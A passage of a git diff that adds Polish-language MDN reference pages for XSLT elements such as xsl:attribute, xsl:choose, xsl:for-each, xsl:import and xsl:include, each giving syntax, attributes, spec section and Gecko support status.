zbiorów muszą być oddzielone za pomocą białych znaków (whitespace) i nie mogą bezpośrednio lub pośrednio osadzać się nawzajem. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.1.4. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "fr": "fr/XSLT/attribute-set" } ) }} diff --git a/files/pl/web/xslt/attribute/index.html b/files/pl/web/xslt/attribute/index.html new file mode 100644 index 0000000000..aa3c94dca5 --- /dev/null +++ b/files/pl/web/xslt/attribute/index.html @@ -0,0 +1,34 @@ +--- +title: attribute +slug: Web/XSLT/attribute +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/attribute +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:attribute></code> tworzy w dokumencie wyjściowym atrybut używając dowolnej wartości dostępnej z arkusza. Element musi być pierwszą rzeczy zdefiniowaną w dokumencie wyjściowym, dla którego ustala on wartość atrybutu. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:attribute name=NAZWA namespace=URI> + SZABLON +</xsl:attribute></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę atrybutu, który ma zostać utworzony w dokumencie wyjściowym. Nazwa musi być poprawną wartością QName. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>namespace</code> +</dt><dd>Określa dla atrybutu URI przestrzeni nazw w dokumencie wyjściowym. Nie można za pomocą tego elementu ustawić pokrewnego prefiksu przestrzeni nazw. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu lub elementu <code><xsl:attribute-set></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.1.3. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "fr": "fr/XSLT/attribute" } ) }} diff --git a/files/pl/web/xslt/call-template/index.html b/files/pl/web/xslt/call-template/index.html new file mode 100644 index 0000000000..283e041fec --- /dev/null +++ b/files/pl/web/xslt/call-template/index.html @@ -0,0 +1,32 @@ +--- +title: call-template +slug: Web/XSLT/call-template +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/call-template +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:call-template></code> wywołuje szablon o podanej nazwie. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:call-template name=NAZWA> + <xsl:with-param> [opcjonalnie] +</xsl:call-template> </pre> +<h3 id="Wymagany_atrybut" name="Wymagany_atrybut"> Wymagany atrybut </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę szablonu, który ma zostać wywołany. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 6. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "fr": "fr/XSLT/call-template" } ) }} diff --git a/files/pl/web/xslt/choose/index.html b/files/pl/web/xslt/choose/index.html new file mode 100644 index 0000000000..319ed34d09 --- /dev/null +++ b/files/pl/web/xslt/choose/index.html @@ -0,0 +1,35 @@ +--- +title: choose +slug: Web/XSLT/choose +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/choose +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:choose></code> definiuje wybór spośród określonej liczby wyborów alternatywnych. Przypomina w działaniu wyrażenie switch znane z proceduralnych języków programowania. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:choose> + <xsl:when test="[cokolwiek do sprawdzenia1]"></xsl:when> + <xsl:when test="[cokolwiek do sprawdzenia2]"></xsl:when> + <xsl:otherwise></xsl:otherwise> [opcjonalnie] +</xsl:choose></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja. Pojawia się wraz z szablonem. Zawiera jeden lub więcej elementów <code><xsl:when></code> i opcjonalnie końcowy element <code><xsl:otherwise></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 9.2. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "fr": "fr/XSLT/choose" } ) }} diff --git a/files/pl/web/xslt/comment/index.html b/files/pl/web/xslt/comment/index.html new file mode 100644 index 0000000000..0c0fa5cba8 --- /dev/null +++ b/files/pl/web/xslt/comment/index.html @@ -0,0 +1,31 @@ +--- +title: comment +slug: Web/XSLT/comment +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/comment +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:comment></code> zapisuje komentarz do dokumentu wyjściowego. Może zawierać tylko tekst. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:comment> + SZABLON +</xsl:comment> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.4. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "fr": "fr/XSLT/comment" } ) }} diff --git a/files/pl/web/xslt/copy-of/index.html b/files/pl/web/xslt/copy-of/index.html new file mode 100644 index 0000000000..c458c88fdc --- /dev/null +++ b/files/pl/web/xslt/copy-of/index.html @@ -0,0 +1,32 @@ +--- +title: copy-of +slug: Web/XSLT/copy-of +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/copy-of +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:copy-of></code> tworzy głęboką kopię (włączając węzły potomka) cokolwiek atrybut select określi do dokumentu wyjściowego. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:copy-of select=WYRAZENIE /> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Używa wyrażenia XPath, które określa co ma zostać skopiowane. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 11.3. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "fr": "fr/XSLT/copy-of" } ) }} diff --git a/files/pl/web/xslt/copy/index.html b/files/pl/web/xslt/copy/index.html new file mode 100644 index 0000000000..ffc164b603 --- /dev/null +++ b/files/pl/web/xslt/copy/index.html @@ -0,0 +1,32 @@ +--- +title: copy +slug: Web/XSLT/copy +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/copy +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:copy></code> przenosi kopię powierzchni (węzeł i powiązany węzeł przestrzeni nazw) obecnego węzła do dokumentu wyjściowego. Nie kopiuje potomków lub atrybutów obecnego węzła. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:copy use-attribute-sets=LISTA-NAZW> + SZABLON +</xsl:copy></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>use-attribute-sets</code> +</dt><dd>Lista zestawów atrybutu, które powinny być zastosowane do węzła wyjściowego, jeśli jest to element. Nazwy zestawów powinna być oddzielona za pomocą białych znaków. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawiająca się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.5. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "fr": "fr/XSLT/copy" } ) }} diff --git a/files/pl/web/xslt/decimal-format/index.html b/files/pl/web/xslt/decimal-format/index.html new file mode 100644 index 0000000000..7effc29b96 --- /dev/null +++ b/files/pl/web/xslt/decimal-format/index.html @@ -0,0 +1,73 @@ +--- +title: decimal-format +slug: Web/XSLT/decimal-format +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/decimal-format +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:decimal-format></code> definiuje znaki i symbole, które mają być użyte podczas konwersji liczb na łańcuchy znakowe przez funkcję <i><code>format-number( )</code></i>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:decimal-format + name=NAZWA + decimal-separator=ZNAK + grouping-separator=ZNAK + infinity=ŁANCUCH-ZNAKOW + minus-sign=ZNAK + NaN=ŁANCUCH-ZNAKOW + percent=ZNAK + per-mille=ZNAK + zero-digit=ZNAK + digit=ZNAK + pattern-separator=ZNAK /></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę formatu. +</dd></dl> +<dl><dt><code>decimal-separator</code> +</dt><dd>Określa punktowy znak dziesiętny. Domyślną wartością jest (<code>.</code>). +</dd></dl> +<dl><dt><code>grouping-separator</code> +</dt><dd>Określa separator tysięczny. Domyślną wartością jest (<code>,</code>). +</dd></dl> +<dl><dt><code>infinity</code> +</dt><dd>Określa łańcuch znakowy używany do przedstawienia nieskończoności. Domyślną wartością jest łańcuch "<code>Infinity</code>". +</dd></dl> +<dl><dt><code>minus-sign</code> +</dt><dd>Określa znak minusa. Domyślną wartością jest łącznik (<code>-</code>). +</dd></dl> +<dl><dt><code>NaN</code> +</dt><dd>Określa łańcuch znaków, używany gdy wartość nie jest liczbą. Domyślnie jest to łańcuch "<code>NaN</code>". +</dd></dl> +<dl><dt><code>percent</code> +</dt><dd>Określa znak procenta. Domyślną wartością jest (<code>%</code>). +</dd></dl> +<dl><dt><code>per-mille</code> +</dt><dd>Określa znak promila. Domyślną wartością jest (<code>‰</code>). +</dd></dl> +<dl><dt><code>zero-digit</code> +</dt><dd>Określa znak cyfry zero. Domyślną wartością jest (<code>0</code>). +</dd></dl> +<dl><dt><code>digit</code> +</dt><dd>Określa znak, które we wzorze formatu reprezentuje cyfrę. Domyślną wartością jest (<code>#</code>). +</dd></dl> +<dl><dt><code>pattern-separator</code> +</dt><dd>Określa znak rozdzielający dodatnie i ujemne podwzorce we wzorze formatu. Domyślną wartością jest średnik (<code>;</code>). +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 12.3. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje od wersji 1.0 (Mozilla 1.0, Netscape 7.0). +</p>{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "fr": "fr/XSLT/decimal-format" } ) }} diff --git a/files/pl/web/xslt/element/element/index.html b/files/pl/web/xslt/element/element/index.html new file mode 100644 index 0000000000..26d698feec --- /dev/null +++ b/files/pl/web/xslt/element/element/index.html @@ -0,0 +1,36 @@ +--- +title: element +slug: Web/XSLT/Element/element +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/element +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:element></code> tworzy element w dokumencie wyjściowym. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:element name=NAZWA namespace=URI use-attribute-sets=LISTA-NAZW > + SZABLON +</xsl:element></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa żądaną nazwę elementu wyjściowego. Nazwa musi być zgodna z QName. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>namespace</code> +</dt><dd>Określa przestrzeń nazw elementu wyjściowego. +</dd><dt><code>use-attribute-sets</code> +</dt><dd>Lista nazwanych zestawów atrybutów, które mają być użyte w elemencie wyjściowym. Nazwa zestawów powinna być oddzielona za pomocą białych znaków. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.1.2. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/element", "es": "es/XSLT/element", "fr": "fr/XSLT/element" } ) }} diff --git a/files/pl/web/xslt/element/index.html b/files/pl/web/xslt/element/index.html new file mode 100644 index 0000000000..4bf3214b92 --- /dev/null +++ b/files/pl/web/xslt/element/index.html @@ -0,0 +1,58 @@ +--- +title: Elementy +slug: Web/XSLT/Element +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element +--- +<p> +{{ XsltRef() }} +Omówione poniżej są dwa typy elementów: elementy top-level (najwyższego poziomu) oraz instrukcje. Element najwyższego poziomu musi pojawić się jako dziecko elementu <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. Z drugiej strony instrukcja jest powiązana z szablonem. Arkusz może zawierać kilka szablonów. Trzecim typem elementów, nie omówionym tutaj, jest element wyniku literałowego (literal result element - LRE). LRE również pojawia się wewnątrz szablonu. Składa się z dowolnego elementu (nie będącego instrukcją), który powinień być skopiowany jak-jest do dokumentu wynikowego. Przykładem jest element <code><hr></code> w arkuszu konwersji HTML. +</p><p>Podobnie dowolny atrybut w LRE i niektóre atrybuty z ograniczonej liczby elementów XSLT mogą również włączać to, co znane jest pod nazwą szablonu wartości atrybutu. Szablon wartości atrybutu jest po prostu łańcuchem znaków zawierającym osadzone wyrażenie XPath, które jest używane jako wartość atrybutu. W czasie uruchomienia wyrażenie jest oceniane, a wynik jest podstawiany zamiast wyrażenia XPath. Przykładowo: zakładając, że zmienna "<tt>image-dir</tt>" jest zdefiniowana następująco: +</p> +<pre><xsl:variable name="image-dir">/images</xsl:variable></pre> <p>Wykonywane wyrażenie jest umieszczone w nawiasach klamrowych: +</p> +<pre><img src="{$image-dir}/mygraphic.jpg"/></pre> <p>Rezulat będzie następujący: +</p> +<pre><img src="/images/mygraphic.jpg"/></pre> <p>Poniższy spis elementów zawiera opis każdego z nich: składnię, listę wymaganych i opcjonalnych atrybutów, opis typu i pozycji, źródło w rekomendacji W3C oraz opis stopnia, w jakim te elementy są obecnie obsługiwane przez Gecko. +</p> +<ul><li> <a href="pl/XSLT/apply-imports">xsl:apply-imports</a> +</li><li> <a href="pl/XSLT/apply-templates">xsl:apply-templates</a> +</li><li> <a href="pl/XSLT/attribute">xsl:attribute</a> +</li><li> <a href="pl/XSLT/attribute-set">xsl:attribute-set</a> +</li><li> <a href="pl/XSLT/call-template">xsl:call-template</a> +</li><li> <a href="pl/XSLT/choose">xsl:choose</a> +</li><li> <a href="pl/XSLT/comment">xsl:comment</a> +</li><li> <a href="pl/XSLT/copy">xsl:copy</a> +</li><li> <a href="pl/XSLT/copy-of">xsl:copy-of</a> +</li><li> <a href="pl/XSLT/decimal-format">xsl:decimal-format</a> +</li><li> <a href="pl/XSLT/element">xsl:element</a> +</li><li> <a href="pl/XSLT/fallback">xsl:fallback</a> <i>(nieobsługiwany)</i> +</li><li> <a href="pl/XSLT/for-each">xsl:for-each</a> +</li><li> <a href="pl/XSLT/if">xsl:if</a> +</li><li> <a href="pl/XSLT/import">xsl:import</a> <i>(przeważnie obsługiwany)</i> +</li><li> <a href="pl/XSLT/include">xsl:include</a> +</li><li> <a href="pl/XSLT/key">xsl:key</a> +</li><li> <a href="pl/XSLT/message">xsl:message</a> +</li><li> <a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(nieobsługiwany)</i> +</li><li> <a href="pl/XSLT/number">xsl:number</a> <i>(częściowo obsługiwany)</i> +</li><li> <a href="pl/XSLT/otherwise">xsl:otherwise</a> +</li><li> <a href="pl/XSLT/output">xsl:output</a> <i>(częściowo obsługiwany)</i> +</li><li> <a href="pl/XSLT/param">xsl:param</a> +</li><li> <a href="pl/XSLT/preserve-space">xsl:preserve-space</a> +</li><li> <a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a> +</li><li> <a href="pl/XSLT/sort">xsl:sort</a> +</li><li> <a href="pl/XSLT/strip-space">xsl:strip-space</a> +</li><li> <a href="pl/XSLT/stylesheet">xsl:stylesheet</a> <i>(częściowo obsługiwany)</i> +</li><li> <a href="pl/XSLT/template">xsl:template</a> +</li><li> <a href="pl/XSLT/text">xsl:text</a> <i>(częściowo obsługiwany)</i> +</li><li> <a href="pl/XSLT/transform">xsl:transform</a> +</li><li> <a href="pl/XSLT/value-of">xsl:value-of</a> <i>(częściowo obsługiwany)</i> +</li><li> <a href="pl/XSLT/variable">xsl:variable</a> +</li><li> <a href="pl/XSLT/when">xsl:when</a> +</li><li> <a href="pl/XSLT/with-param">xsl:with-param</a> +</li></ul> +{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements" } ) }} diff --git a/files/pl/web/xslt/fallback/index.html b/files/pl/web/xslt/fallback/index.html new file mode 100644 index 0000000000..420a32dd23 --- /dev/null +++ b/files/pl/web/xslt/fallback/index.html @@ -0,0 +1,32 @@ +--- +title: fallback +slug: Web/XSLT/fallback +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/fallback +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:fallback></code> określa, który szablon ma zostać użyty, gdy podane rozszerzenie (lub ostatecznie nowsza wersja) elementu jest nieobsługiwane. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:fallback> + SZABLON +</xsl:fallback></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 15 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>W chwili obecnej nie obsługuje. +</p>{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "fr": "fr/XSLT/fallback" } ) }} diff --git a/files/pl/web/xslt/for-each/index.html b/files/pl/web/xslt/for-each/index.html new file mode 100644 index 0000000000..d2f9d387e8 --- /dev/null +++ b/files/pl/web/xslt/for-each/index.html @@ -0,0 +1,32 @@ +--- +title: for-each +slug: Web/XSLT/for-each +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/for-each +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:for-each></code> zaznacza zbiór węzłów i przetwarza każdy z nich w ten sam sposób. Element ten jest często używany do iteracji zbioru węzłów lub zmiany aktualnego węzła. Jeśli jeden lub więcej elementów <code><xsl:sort></code> pojawią się jako dzieci tego elementu, przez przetworzeniem zostanie wywołane sortowanie. W przeciwnym wypadku węzły są przetwarzane w kolejności, w jakiej pojawiają się w dokumencie. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:for-each select=WYRAZENIE> + <xsl:sort> [opcjonalnie] + SZABLON +</xsl:for-each></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Używa wyrażenia XPath do zaznaczenia węzłów, które mają zostać przetworzone. </dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 8. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "fr": "fr/XSLT/for-each" } ) }} diff --git a/files/pl/web/xslt/if/index.html b/files/pl/web/xslt/if/index.html new file mode 100644 index 0000000000..888e264082 --- /dev/null +++ b/files/pl/web/xslt/if/index.html @@ -0,0 +1,33 @@ +--- +title: if +slug: Web/XSLT/if +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/if +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:if></code> zawiera atrybut testowy i szablon. Jeżeli wyrażenie testowe zostanie ocenione jako prawdziwe, szablon jest przetwarzany. Element ten jest podobny do instrukcji if w innych językach, jednak aby uzyskać funkcjonalność instrukcji <tt>if-then-else</tt>, użyj elementu <code><xsl:choose></code> wraz z jego dziećmi: <code><xsl:when></code> i <code><xsl:otherwise></code>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:if test=WYRAZENIE> + SZABLON +</xsl:if></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>test</code> +</dt><dd>Zawiera wyrażenie XPath, które może być ocenione (poprzez zasady zdefiniowane poprzez <code>boolean( )</code> jeśli konieczne) jako wartość logiczna Boolean. Jeśli wyrażenie jest prawdziwe, szablon jest przetwarzany; jeśli nie, nie jest podejmowana żadna czynność. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSL sekcja 9.1. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "fr": "fr/XSLT/if" } ) }} diff --git a/files/pl/web/xslt/import/index.html b/files/pl/web/xslt/import/index.html new file mode 100644 index 0000000000..ba7348198e --- /dev/null +++ b/files/pl/web/xslt/import/index.html @@ -0,0 +1,31 @@ +--- +title: import +slug: Web/XSLT/import +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/import +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:import></code> jest elementem najwyższego poziomu, który służy do importowania zawartości jednego arkusza do innego. Ogólnie mówiąc zawartość arkusza importowanego posiada niższą ważność od zawartości arkusza importującego. Zostało to ustanowione w odróżnieniu od <code><xsl:include></code>, gdzie zawartości dwóch arkuszów - włączanego i włączającego - mają tę samę ważność. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:import href=URI /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>href</code> +</dt><dd>Określa URI arkusza stylów do importu. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi pojawić się przed jakimkolwiek dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code> w arkuszu importującym. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 2.6.2. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Przeważnie obsługiwany, z kilkoma problemami ze zmiennymi i parametrami najwyższego poziomu, od wersji Mozilla 1.0. +</p>{{ languages( { "en": "en/XSLT/import", "es": "es/XSLT/import", "fr": "fr/XSLT/import" } ) }} diff --git a/files/pl/web/xslt/include/index.html b/files/pl/web/xslt/include/index.html new file mode 100644 index 0000000000..2a1a0f84b7 --- /dev/null +++ b/files/pl/web/xslt/include/index.html @@ -0,0 +1,31 @@ +--- +title: include +slug: Web/XSLT/include +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/include +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:include></code> łączy zawartości dwóch arkuszy. W przeciwieństwie do <code><xsl:import></code>, zawartość arkusza włączanego ma tę samą ważność, co zawartość arkusza włączającego. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:include href=URI /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>href</code> +</dt><dd>Określa URI arkusza stylów do włączenia. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, może pojawić się w dowolnej kolejności jako dziecko <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 2.6.1. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "fr": "fr/XSLT/include" } ) }} diff --git a/files/pl/web/xslt/index.html b/files/pl/web/xslt/index.html new file mode 100644 index 0000000000..48711eb601 --- /dev/null +++ b/files/pl/web/xslt/index.html @@ -0,0 +1,19 @@ +--- +title: XSLT +slug: Web/XSLT +tags: + - Wszystkie_kategorie + - XSLT +translation_of: Web/XSLT +--- +<p> </p> +<div> +<p><strong>Transformacje XSL (XSLT)</strong> jest opartym na <a href="/pl/XML" title="pl/XML">XML</a>-u językiem używanym, w połączeniu ze specjalnym oprogramowaniem przetwarzającym, do transformowania dokumentów XML. Mimo że proces jest określany jako „transformacja”, oryginalny dokument nie zostaje zmieniony; zamiast tego stworzony zostaje nowy dokument XML na bazie treści poprzedniego. Następnie nowy dokument może być serializowany (wyjście) przez procesor do postaci XML lub innego formatu, takiego jak <a href="/pl/HTML" title="pl/HTML">HTML</a> lub czysty tekst. XSLT jest zazwyczaj używany do konwertowania danych między różnymi schematami XML oraz do konwertowania danych XML w strony internetowe oraz dokumenty PDF. {{ Ref("one") }}</p> +</div> +<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=XSLT&language=pl" title="Special:Tags?tag=XSLT&language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/XSLT/Elementy" title="pl/XSLT/Elementy">Dokumentacja elementów XSLT</a></dt> </dl> <dl> <dt><a 